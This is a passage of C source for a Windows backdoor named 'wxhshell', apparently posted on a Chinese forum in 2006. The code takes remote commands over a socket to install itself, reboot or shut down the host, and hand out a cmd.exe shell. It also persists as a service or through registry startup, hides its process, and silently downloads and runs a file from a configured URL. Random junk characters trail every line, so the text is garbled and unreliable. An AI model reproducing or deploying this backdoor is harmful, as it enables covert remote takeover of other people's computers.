      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #&uajo  
    break; *DcIC]ao[  
  } AHr^G'  
  // 安装 /V0Put  
  case 'i': { c|:EMYS  
    if(Install()) b&A/S$*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wx-&(f   
    else +)h# !/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zEQQ4)mA  
    break; xBc$qjV  
    } 2.JrLBhN  
  // 卸载  %o/@0.w  
  case 'r': { O.#R r/+)  
    if(Uninstall()) KUPQ6v }  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |H=5Am  
    else wY8Vc"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f-^*p  
    break; "r;cH53  
    } $Vp&7OC]  
  // 显示 wxhshell 所在路径 ^{J^oZ'%~  
  case 'p': { !M}-N  
    char svExeFile[MAX_PATH]; _ \+0e:Ae  
    strcpy(svExeFile,"\n\r"); Z 9cb  
      strcat(svExeFile,ExeFile); x$Wtkb0<  
        send(wsh,svExeFile,strlen(svExeFile),0); T__@hfT  
    break; LDw.2E  
    } y+wy<[u  
  // 重启 k^JgCC+  
  case 'b': { RKMF?:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )y!gApNs"  
    if(Boot(REBOOT))  ZJ)>gV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f7 ew<c\  
    else {  eJ[+3Wh  
    closesocket(wsh); /QlzWson  
    ExitThread(0); Y$^vA[]c>  
    } VAheus  
    break; j^Qk\(^#IV  
    } k,OxGG  
  // 关机 aFnyhu&W'  
  case 'd': { ~yngH0S$[b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y q2AZ@}"  
    if(Boot(SHUTDOWN)) U/HF6=Wot  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V LeYO5'L  
    else { 9l[C&0w#\  
    closesocket(wsh); PHez5}T  
    ExitThread(0); =%}(Dvjv  
    } ~s?y[yy6i  
    break; / gaC  
    } 3<Z@!ft8  
  // 获取shell hOqNZ66{  
  case 's': { 55y}t%5  
    CmdShell(wsh); E^w0X,0XlE  
    closesocket(wsh); `Lw Z(M-hI  
    ExitThread(0); e'v_eD T^  
    break; 8;UkZN"hy5  
  } Nb0T3\3W  
  // 退出 A|mE3q=  
  case 'x': { Zic:d-Q47  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0|\JbM  
    CloseIt(wsh); uW(Ngcpr  
    break; Vn^8nS  
    } {j[*:l0Ui  
  // 离开 tsB}'+!v#  
  case 'q': { )C$Ij9<A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /HSg)  
    closesocket(wsh); -&y&b-  
    WSACleanup(); :W'.SRD  
    exit(1); {Z$]Rj  
    break; v49 i.c9  
        } >^f]Lgp  
  } nwDW<J{f|U  
  } Pl|*+g  
ccW{88II7w  
  // 提示信息 nrTCq~LO(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +b dnTV6  
} LKud'  
  } > LU !Z  
r_V^sX  
  return; ]#rmk!VT?  
} &3~R-$P  
'Te'wh=Y  
// shell模块句柄 >BMtR0  
int CmdShell(SOCKET sock) *; 6LX  
{ ]V"B`ip[2  
STARTUPINFO si; 8L))@SA+uJ  
ZeroMemory(&si,sizeof(si)); *u34~v16,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UXS+GAWU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @j r$4pM?  
PROCESS_INFORMATION ProcessInfo; ,ce$y4%(  
char cmdline[]="cmd"; Nu; 9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BLo=@C%w5  
  return 0; aXD|XE%  
} !`dn# j  
I"jub kI=Z  
// 自身启动模式 ( 2KopL  
int StartFromService(void) 0mT.J~}1v  
{ L<N=,~  
typedef struct Or()AzwE@  
{ V#-8[G6Ra  
  DWORD ExitStatus; 74~ %4  
  DWORD PebBaseAddress; ]u >~:  
  DWORD AffinityMask; k'd=|U;(FV  
  DWORD BasePriority; #|}EPD9$  
  ULONG UniqueProcessId; yu'@gg(  
  ULONG InheritedFromUniqueProcessId; k?Iq 6  
}   PROCESS_BASIC_INFORMATION; VSm{]Z!x  
){i 9,u")  
PROCNTQSIP NtQueryInformationProcess; n\4sNoFI  
v}"DW?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $,7Yo nc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %y\  
^{+_PWn  
  HANDLE             hProcess; ?w"zW6U  
  PROCESS_BASIC_INFORMATION pbi; Mg {=(No  
&o)eRcwH`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WS ^%< h#  
  if(NULL == hInst ) return 0; ohB@ijC!  
zO)3MC7l*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *f+DV[DF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jL#`CD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +zsB~Vz  
(, uW-  
  if (!NtQueryInformationProcess) return 0; IaR D"oCH  
CF@j]I@{   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); USyOHHPW@  
  if(!hProcess) return 0; Eg#WR&Uq"  
IdWFG?b3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fnU;DS] W  
4Y}{?]>pu  
  CloseHandle(hProcess); eq$.np  
f5&K=4khn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Zm/I&  
if(hProcess==NULL) return 0; Ouc$M2m0!  
7,Q>>%/0P  
HMODULE hMod; 'C<4{agS  
char procName[255]; xIa8Ac  
unsigned long cbNeeded; &X OFc.u  
]F*fQ Ncjy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X< p KAO\  
@ZGD'+zd?  
  CloseHandle(hProcess); aO$I|!tl  
Ex$i8fO(  
if(strstr(procName,"services")) return 1; // 以服务启动 E4N{;'  
F>[T)t{m=  
  return 0; // 注册表启动 Hn!13+fS  
} BBlYy5x  
qO}Q4a+  
// 主模块 tsN,yI]-VA  
int StartWxhshell(LPSTR lpCmdLine) &O.lIj#F R  
{ e4(E!;Z!QF  
  SOCKET wsl; ^s?=$&8f![  
BOOL val=TRUE; q2~@z-q)b  
  int port=0; N)^` 15w  
  struct sockaddr_in door; {#4F}@Q  
j )b[7%  
  if(wscfg.ws_autoins) Install(); g.T:72"  
^K'@W  
port=atoi(lpCmdLine); <#F@OU  
\*5${[  
if(port<=0) port=wscfg.ws_port; E8] kd  
;dZuO[4\  
  WSADATA data; 0;2"X [e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ![j?/376  
zX}t1:nc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ` D={l29H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VH7nyqEM  
  door.sin_family = AF_INET; 2c1L[]h'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &Na,D7A:3I  
  door.sin_port = htons(port); H[D<G9:  
)4e?-?bK!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T?HW=v_a  
closesocket(wsl); )uu1AbT +e  
return 1; &ws^Dm]R  
} ="J *v>  
 {Bw  
  if(listen(wsl,2) == INVALID_SOCKET) { &r)[6a$fW  
closesocket(wsl); szC<ht?z  
return 1; !N'HL-oT  
} Bvsxn5z+:  
  Wxhshell(wsl); hU6oWm  
  WSACleanup(); _kXq0~  
~EtwX YkRZ  
return 0; ! 8*l U2  
ble[@VW|  
} Ra/Pk G-7  
U'k 0;  
// 以NT服务方式启动 .W s\%S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O_\%8*;  
{ %8{nuq+c  
DWORD   status = 0; RG_.0'5=hc  
  DWORD   specificError = 0xfffffff; `i<omZ[aT  
|ya.c\}q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O+OUcMa,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @8*lqV2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6|n3e,&A2  
  serviceStatus.dwWin32ExitCode     = 0; h?'~/@  
  serviceStatus.dwServiceSpecificExitCode = 0; `3yK<-  
  serviceStatus.dwCheckPoint       = 0; yQ0:M/r;0  
  serviceStatus.dwWaitHint       = 0; #f<3[BLx  
7zq@T]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7>lM^ :A  
  if (hServiceStatusHandle==0) return; 4i7+'F  
e2^TQv2(=e  
status = GetLastError(); N@0cn q:"  
  if (status!=NO_ERROR) ZeLed[J^xJ  
{ VYjt/\ Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DS=$* Trk  
    serviceStatus.dwCheckPoint       = 0; IGNU_w4j  
    serviceStatus.dwWaitHint       = 0; # /Bg5:  
    serviceStatus.dwWin32ExitCode     = status; C),i#v  
    serviceStatus.dwServiceSpecificExitCode = specificError; ! k 1 Ge+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s  }Ql9  
    return; Z@(KZ|  
  } Wh)!Ha}  
6n^@Ps  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N "}N>xe2  
  serviceStatus.dwCheckPoint       = 0; EF6h>"']/  
  serviceStatus.dwWaitHint       = 0; 6H=gura&   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X|-[i hp;  
} :V1j*)  
yd=b!\}WJ  
// 处理NT服务事件,比如:启动、停止 "VDMO^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1YK(oRSDn  
{ y @S_CB 47  
switch(fdwControl) %&S9~E D  
{ )k;;O7C k  
case SERVICE_CONTROL_STOP: Ec2;?pvd%J  
  serviceStatus.dwWin32ExitCode = 0; flT6y-d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .5uqc.i"f  
  serviceStatus.dwCheckPoint   = 0; 6$[7hlE  
  serviceStatus.dwWaitHint     = 0; |nE4tN#J<  
  { :bm%f%gg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `/^ _W <  
  } gB~^dv {  
  return; Evd|_W-  
case SERVICE_CONTROL_PAUSE: Q8MIpa!:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9:P]{}  
  break; yzv"sd[8N  
case SERVICE_CONTROL_CONTINUE: c_8<N7 C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^=5x1<a9$  
  break; ^qnmKA>"F  
case SERVICE_CONTROL_INTERROGATE: z;!"i~fFK  
  break; 9z..LD(  
}; K8R>O *~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q k 6  
} ?xrOhA9  
vxHFNGI  
// 标准应用程序主函数 2;u i'B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S'5Zy} +x  
{ i[@13kr  
P#7=h:.522  
// 获取操作系统版本 vFB^h1k~.M  
OsIsNt=GetOsVer(); 15hqoo9!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mf)+ 5On  
QW$p{ zo  
  // 从命令行安装 A&bj l[s  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~`C _B]3|  
nQoQNB  
  // 下载执行文件 xhOoZ-  
if(wscfg.ws_downexe) { r5Tdp)S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n{i,`oQ"  
  WinExec(wscfg.ws_filenam,SW_HIDE); c(e>Rmh  
} U2A 82;Z  
y;uR@{  
if(!OsIsNt) {  RQb}t,  
// 如果时win9x,隐藏进程并且设置为注册表启动 V*{rHp{=p  
HideProc(); [IQ|c?DxpL  
StartWxhshell(lpCmdLine); hd u2?v@  
} @J"tM.  
else ~y2zl  
  if(StartFromService()) zD79M  
  // 以服务方式启动 =jJEl=*S  
  StartServiceCtrlDispatcher(DispatchTable); )muNfs m  
else dw3Hk$"h  
  // 普通方式启动 eM:J_>7t  
  StartWxhshell(lpCmdLine); *Ud(HMTe  
%KXiB6<4  
return 0; X 3$ W60Q  
}
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只看该作者 1 发表于: 2006-10-10
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